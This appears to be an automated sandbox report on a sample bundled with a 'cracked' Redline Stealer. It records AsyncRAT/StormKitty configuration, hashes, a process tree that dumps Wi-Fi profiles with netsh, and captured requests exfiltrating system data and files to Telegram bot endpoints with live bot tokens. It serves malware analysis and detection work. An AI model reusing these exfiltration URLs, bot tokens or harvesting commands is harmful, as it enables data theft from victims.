Overview

overview

10

Static

static

10

Redline St....2.exe

windows10-2004-x64

10

Redline St...ck.exe

windows10-2004-x64

10

Redline St...ub.exe

windows10-2004-x64

10

Redline St...st.exe

windows10-2004-x64

10

Redline St....2.exe

windows10-2004-x64

10

Redline St...er.exe

windows10-2004-x64

10

Redline St....2.exe

windows10-2004-x64

10

Redline St...ck.exe

windows10-2004-x64

10

Redline St....2.exe

windows10-2004-x64

10

Redline St...el.exe

windows10-2004-x64

10

Redline St....2.exe

windows10-2004-x64

10

Redline St...ck.exe

windows10-2004-x64

10

Redline St...me.exe

windows10-2004-x64

8

Redline St...48.exe

windows10-2004-x64

7

Redline St...ar.exe

windows10-2004-x64

1

Analysis

  • max time kernel
    30s
  • max time network
    34s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/04/2023, 20:27 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Redline Stealer v24.2 cracked [XT_CH]/Kurome.Loader/._cache_Kurome Loader 20.2.exe

  • Size

    170KB

  • MD5

    470a8267b5eba7eb998d9fa69532f849

  • SHA1

    1152ddb2ab93aae9983e3e8b5c4f367875323e3e

  • SHA256

    6cdb8d1af85d10ed3022ae0a183e3e9dff0ad1bc4a90915e7e41b600154a349e

  • SHA512

    5f151230dc97e0804cbe7b36ce9a4570023bdaf0283ae2681732a835c26e540ec93f9c56cd78599c8deeeaed10b2b50f9c976c85ad95d4e36460e05083f7048d

  • SSDEEP

    3072:O+STW8djpN6izj8mZwHQiWZqswqIPu/i9b+J2cOZTMi56+WpL:z8XN6W8mmdUwXPSi9b2c3

Score
10/10
asyncratstormkittydefaultratspywarestealer

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendMessage?chat_id=5529838804
Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain
1
6C1g1bqh7ipnURt3i010tOdFBOuLNa2n

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • Async RAT payload 1 IoCs
    rat
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 8 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Redline Stealer v24.2 cracked [XT_CH]\Kurome.Loader\._cache_Kurome Loader 20.2.exe
    "C:\Users\Admin\AppData\Local\Temp\Redline Stealer v24.2 cracked [XT_CH]\Kurome.Loader\._cache_Kurome Loader 20.2.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3280
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2688
      • C:\Windows\SysWOW64\chcp.com
        chcp 65001
        3⤵
          PID:960
        • C:\Windows\SysWOW64\netsh.exe
          netsh wlan show profile
          3⤵
            PID:3664
          • C:\Windows\SysWOW64\findstr.exe
            findstr All
            3⤵
              PID:5048
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:460
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              3⤵
                PID:3420
              • C:\Windows\SysWOW64\netsh.exe
                netsh wlan show networks mode=bssid
                3⤵
                  PID:5108

            Network

            • flag-us
              DNS
              42.220.44.20.in-addr.arpa
              Remote address:
              8.8.8.8:53
              Request
              42.220.44.20.in-addr.arpa
              IN PTR
              Response
            • flag-us
              DNS
              217.106.137.52.in-addr.arpa
              Remote address:
              8.8.8.8:53
              Request
              217.106.137.52.in-addr.arpa
              IN PTR
              Response
            • flag-us
              DNS
              95.221.229.192.in-addr.arpa
              Remote address:
              8.8.8.8:53
              Request
              95.221.229.192.in-addr.arpa
              IN PTR
              Response
            • flag-us
              DNS
              icanhazip.com
              ._cache_Kurome Loader 20.2.exe
              Remote address:
              8.8.8.8:53
              Request
              icanhazip.com
              IN A
              Response
              icanhazip.com
              IN A
              104.18.115.97
              icanhazip.com
              IN A
              104.18.114.97
            • flag-us
              GET
              http://icanhazip.com/
              ._cache_Kurome Loader 20.2.exe
              Remote address:
              104.18.115.97:80
              Request
              GET / HTTP/1.1
              Host: icanhazip.com
              Connection: Keep-Alive
              Response
              HTTP/1.1 200 OK
              Date: Mon, 24 Apr 2023 20:29:06 GMT
              Content-Type: text/plain
              Content-Length: 13
              Connection: keep-alive
              Access-Control-Allow-Origin: *
              Access-Control-Allow-Methods: GET
              Set-Cookie: __cf_bm=rnaB.BLtpJYS4g7iOg66JPng0nS4ghk8_CLeO_8O2jg-1682368146-0-AdCV4oazWw414/DdNEewdn8N6qR00JgwIyFLD9IDNrNlnj2wAYcN3jmYvZOG7cXBt8jGvtbah0f2wWW+iF9qqEY=; path=/; expires=Mon, 24-Apr-23 20:59:06 GMT; domain=.icanhazip.com; HttpOnly
              Server: cloudflare
              CF-RAY: 7bd118b10af441ae-AMS
              alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
            • flag-us
              DNS
              api.mylnikov.org
              ._cache_Kurome Loader 20.2.exe
              Remote address:
              8.8.8.8:53
              Request
              api.mylnikov.org
              IN A
              Response
              api.mylnikov.org
              IN A
              104.21.44.66
              api.mylnikov.org
              IN A
              172.67.196.114
            • flag-us
              GET
              https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=c2:e7:af:66:32:1d
              ._cache_Kurome Loader 20.2.exe
              Remote address:
              104.21.44.66:443
              Request
              GET /geolocation/wifi?v=1.1&bssid=c2:e7:af:66:32:1d HTTP/1.1
              Host: api.mylnikov.org
              Connection: Keep-Alive
              Response
              HTTP/1.1 200 OK
              Date: Mon, 24 Apr 2023 20:29:06 GMT
              Content-Type: application/json; charset=utf8
              Content-Length: 88
              Connection: keep-alive
              Access-Control-Allow-Origin: *
              Cache-Control: max-age=2678400
              CF-Cache-Status: MISS
              Last-Modified: Mon, 24 Apr 2023 20:29:06 GMT
              Accept-Ranges: bytes
              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BagYA4mHo3%2F3qWKm4b0%2BTw7PkvIvdTW70R5azVUT4g5UHXwUGOtAmWNUv7ysEvydrvEh6Un%2BiUjFioVoIctGTOlKNUbd65ijr3zqxfVxId6teQjCu1lJ2k0T%2BHbb1eAJBRJ7"}],"group":"cf-nel","max_age":604800}
              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
              Strict-Transport-Security: max-age=0; preload
              X-Content-Type-Options: nosniff
              Server: cloudflare
              CF-RAY: 7bd118b30ce60e89-AMS
              alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
            • flag-us
              DNS
              api.telegram.org
              ._cache_Kurome Loader 20.2.exe
              Remote address:
              8.8.8.8:53
              Request
              api.telegram.org
              IN A
              Response
              api.telegram.org
              IN A
              149.154.167.220
            • flag-nl
              GET
              https://api.telegram.org/bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendMessage?chat_id=5529838804&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Stealer%202.0.4%20-%20Results:*%0ADate:%202023-04-24%2010:28:42%20PM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20Admin%0ACompName:%20TPAVZECK%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%2012th%20Gen%20Intel(R)%20Core(TM)%20i5-12400%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%0ARAM:%2016154MB%0AHWID:%20078BFBFF000306D2%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%2010.127.0.1%0AInternal%20IP:%2010.127.0.162%0AExternal%20IP:%20154.61.71.13%0ABSSID:%20c2:e7:af:66:32:1d%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True
              ._cache_Kurome Loader 20.2.exe
              Remote address:
              149.154.167.220:443
              Request
              GET /bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendMessage?chat_id=5529838804&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Stealer%202.0.4%20-%20Results:*%0ADate:%202023-04-24%2010:28:42%20PM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20Admin%0ACompName:%20TPAVZECK%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%2012th%20Gen%20Intel(R)%20Core(TM)%20i5-12400%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%0ARAM:%2016154MB%0AHWID:%20078BFBFF000306D2%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%2010.127.0.1%0AInternal%20IP:%2010.127.0.162%0AExternal%20IP:%20154.61.71.13%0ABSSID:%20c2:e7:af:66:32:1d%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1
              Host: api.telegram.org
              Connection: Keep-Alive
              Response
              HTTP/1.1 200 OK
              Server: nginx/1.18.0
              Date: Mon, 24 Apr 2023 20:29:07 GMT
              Content-Type: application/json
              Content-Length: 2002
              Connection: keep-alive
              Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
              Access-Control-Allow-Origin: *
              Access-Control-Allow-Methods: GET, POST, OPTIONS
              Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
            • flag-nl
              GET
              https://api.telegram.org/bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendMessage?chat_id=5529838804&text=%F0%9F%93%81%20Uploading%20Log%20Folders...
              ._cache_Kurome Loader 20.2.exe
              Remote address:
              149.154.167.220:443
              Request
              GET /bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendMessage?chat_id=5529838804&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1
              Host: api.telegram.org
              Response
              HTTP/1.1 200 OK
              Server: nginx/1.18.0
              Date: Mon, 24 Apr 2023 20:29:07 GMT
              Content-Type: application/json
              Content-Length: 302
              Connection: keep-alive
              Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
              Access-Control-Allow-Origin: *
              Access-Control-Allow-Methods: GET, POST, OPTIONS
              Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
            • flag-nl
              POST
              https://api.telegram.org/bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendDocument?chat_id=5529838804
              ._cache_Kurome Loader 20.2.exe
              Remote address:
              149.154.167.220:443
              Request
              POST /bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendDocument?chat_id=5529838804 HTTP/1.1
              Content-Type: multipart/form-data; boundary="80f229eb-ad0d-480b-be55-452b4d123e63"
              Host: api.telegram.org
              Content-Length: 78934
              Expect: 100-continue
              Response
              HTTP/1.1 200 OK
              Server: nginx/1.18.0
              Date: Mon, 24 Apr 2023 20:29:07 GMT
              Content-Type: application/json
              Content-Length: 518
              Connection: keep-alive
              Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
              Access-Control-Allow-Origin: *
              Access-Control-Allow-Methods: GET, POST, OPTIONS
              Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
            • flag-us
              DNS
              97.115.18.104.in-addr.arpa
              Remote address:
              8.8.8.8:53
              Request
              97.115.18.104.in-addr.arpa
              IN PTR
              Response
            • flag-us
              DNS
              66.44.21.104.in-addr.arpa
              Remote address:
              8.8.8.8:53
              Request
              66.44.21.104.in-addr.arpa
              IN PTR
              Response
            • flag-us
              DNS
              220.167.154.149.in-addr.arpa
              Remote address:
              8.8.8.8:53
              Request
              220.167.154.149.in-addr.arpa
              IN PTR
              Response
            • flag-nl
              POST
              https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=1096425866
              ._cache_Kurome Loader 20.2.exe
              Remote address:
              149.154.167.220:443
              Request
              POST /bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=1096425866 HTTP/1.1
              Content-Type: multipart/form-data; boundary="83dcb80b-be2c-44fc-a432-0b288f61069b"
              Host: api.telegram.org
              Content-Length: 78934
              Expect: 100-continue
            • 104.18.115.97:80
              http://icanhazip.com/
              http
              ._cache_Kurome Loader 20.2.exe
              247 B
               687 B
               4
              3

              HTTP Request

              GET http://icanhazip.com/

              HTTP Response

              200
            • 104.21.44.66:443
              https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=c2:e7:af:66:32:1d
              tls, http
              ._cache_Kurome Loader 20.2.exe
              722 B
               4.0kB
               7
              7

              HTTP Request

              GET https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=c2:e7:af:66:32:1d

              HTTP Response

              200
            • 149.154.167.220:443
              https://api.telegram.org/bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendMessage?chat_id=5529838804&text=%F0%9F%93%81%20Uploading%20Log%20Folders...
              tls, http
              ._cache_Kurome Loader 20.2.exe
              4.4kB
               9.6kB
               14
              16

              HTTP Request

              GET https://api.telegram.org/bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendMessage?chat_id=5529838804&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Stealer%202.0.4%20-%20Results:*%0ADate:%202023-04-24%2010:28:42%20PM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20Admin%0ACompName:%20TPAVZECK%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Not%20installed%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%2012th%20Gen%20Intel(R)%20Core(TM)%20i5-12400%0AGPU:%20Microsoft%20Basic%20Display%20Adapter%0ARAM:%2016154MB%0AHWID:%20078BFBFF000306D2%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x720%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%2010.127.0.1%0AInternal%20IP:%2010.127.0.162%0AExternal%20IP:%20154.61.71.13%0ABSSID:%20c2:e7:af:66:32:1d%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True

              HTTP Response

              200

              HTTP Request

              GET https://api.telegram.org/bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendMessage?chat_id=5529838804&text=%F0%9F%93%81%20Uploading%20Log%20Folders...

              HTTP Response

              200
            • 149.154.167.220:443
              https://api.telegram.org/bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendDocument?chat_id=5529838804
              tls, http
              ._cache_Kurome Loader 20.2.exe
              82.8kB
               8.5kB
               70
              42

              HTTP Request

              POST https://api.telegram.org/bot6093966625:AAHk4dddHb8B1faCcFqL3um1gmB-f2mWhyc/sendDocument?chat_id=5529838804

              HTTP Response

              200
            • 52.152.110.14:443
              52 B
               1
            • 149.154.167.220:443
              https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=1096425866
              tls, http
              ._cache_Kurome Loader 20.2.exe
              82.9kB
               7.1kB
               73
              30

              HTTP Request

              POST https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=1096425866
            • 127.0.0.1:8808
              ._cache_Kurome Loader 20.2.exe
            • 8.8.8.8:53
              42.220.44.20.in-addr.arpa
              dns
              71 B
               157 B
               1
              1

              DNS Request

              42.220.44.20.in-addr.arpa

            • 8.8.8.8:53
              217.106.137.52.in-addr.arpa
              dns
              73 B
               147 B
               1
              1

              DNS Request

              217.106.137.52.in-addr.arpa

            • 8.8.8.8:53
              95.221.229.192.in-addr.arpa
              dns
              73 B
               144 B
               1
              1

              DNS Request

              95.221.229.192.in-addr.arpa

            • 8.8.8.8:53
              icanhazip.com
              dns
              ._cache_Kurome Loader 20.2.exe
              59 B
               91 B
               1
              1

              DNS Request

              icanhazip.com

              DNS Response

              104.18.115.97
              104.18.114.97

            • 8.8.8.8:53
              api.mylnikov.org
              dns
              ._cache_Kurome Loader 20.2.exe
              62 B
               94 B
               1
              1

              DNS Request

              api.mylnikov.org

              DNS Response

              104.21.44.66
              172.67.196.114

            • 8.8.8.8:53
              api.telegram.org
              dns
              ._cache_Kurome Loader 20.2.exe
              62 B
               78 B
               1
              1

              DNS Request

              api.telegram.org

              DNS Response

              149.154.167.220

            • 8.8.8.8:53
              97.115.18.104.in-addr.arpa
              dns
              72 B
               134 B
               1
              1

              DNS Request

              97.115.18.104.in-addr.arpa

            • 8.8.8.8:53
              66.44.21.104.in-addr.arpa
              dns
              71 B
               133 B
               1
              1

              DNS Request

              66.44.21.104.in-addr.arpa

            • 8.8.8.8:53
              220.167.154.149.in-addr.arpa
              dns
              74 B
               167 B
               1
              1

              DNS Request

              220.167.154.149.in-addr.arpa

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\67e7b5895e2598e74e3ccecbd52bf8dc\msgid.dat
              Filesize

              3B

              MD5

              26e359e83860db1d11b6acca57d8ea88

              SHA1

              eb65e208b715d3b42fc535aebcd8d3e7fb5f2c94

              SHA256

              76ebdb6d45c61ca12e622118cc90939ade672adf7890aa2b246405d4884dd75a

              SHA512

              787ee49bdc47713dda397ed679b55d3ed439005e12af8b309305fb21e0c79a79fa6f065617340ab0c29cc2a815ed2d5bc5150f83cd67da85adeec9cb0d0a76af

              Download Submit

            • C:\Users\Admin\AppData\Local\de17979b2c7a726b20affd7ab588ec25\Admin@TPAVZECK_en-US\Browsers\Firefox\Bookmarks.txt
              Filesize

              105B

              MD5

              2e9d094dda5cdc3ce6519f75943a4ff4

              SHA1

              5d989b4ac8b699781681fe75ed9ef98191a5096c

              SHA256

              c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

              SHA512

              d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

              Download Submit

            • C:\Users\Admin\AppData\Local\de17979b2c7a726b20affd7ab588ec25\Admin@TPAVZECK_en-US\System\Process.txt
              Filesize

              4KB

              MD5

              a9616efd1d23664fac80902e9cf6227c

              SHA1

              81f152b6f0674f9b359c96e388d482428fe7ebcd

              SHA256

              20c29e437e726d79310d735801ce3eb54ad4744be0504baf9a638c73f295738c

              SHA512

              c8d203ed7df39c00084e7881db025dc8b60c810e9a36f25fe43837b09c504b030bc53359ed5d63c9e8d94d3a0232856ea486d27a4bb6fac5ef6068ee58f97f1b

              Download Submit

            • memory/3280-133-0x0000000000EA0000-0x0000000000ED0000-memory.dmp

              Filesize

              192KB

              Download

            • memory/3280-134-0x0000000005840000-0x0000000005850000-memory.dmp

              Filesize

              64KB

              Download

            • memory/3280-135-0x00000000059C0000-0x0000000005A26000-memory.dmp

              Filesize

              408KB

              Download

            • memory/3280-204-0x0000000005840000-0x0000000005850000-memory.dmp

              Filesize

              64KB

              Download

            • memory/3280-278-0x0000000006810000-0x00000000068A2000-memory.dmp

              Filesize

              584KB

              Download

            • memory/3280-279-0x0000000006E60000-0x0000000007404000-memory.dmp

              Filesize

              5.6MB

              Download

            • memory/3280-280-0x0000000005840000-0x0000000005850000-memory.dmp

              Filesize

              64KB

              Download

            • memory/3280-284-0x00000000067D0000-0x00000000067DA000-memory.dmp

              Filesize

              40KB

              Download

            • memory/3280-290-0x00000000067F0000-0x0000000006802000-memory.dmp

              Filesize

              72KB

              Download

            We care about your privacy.

            This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.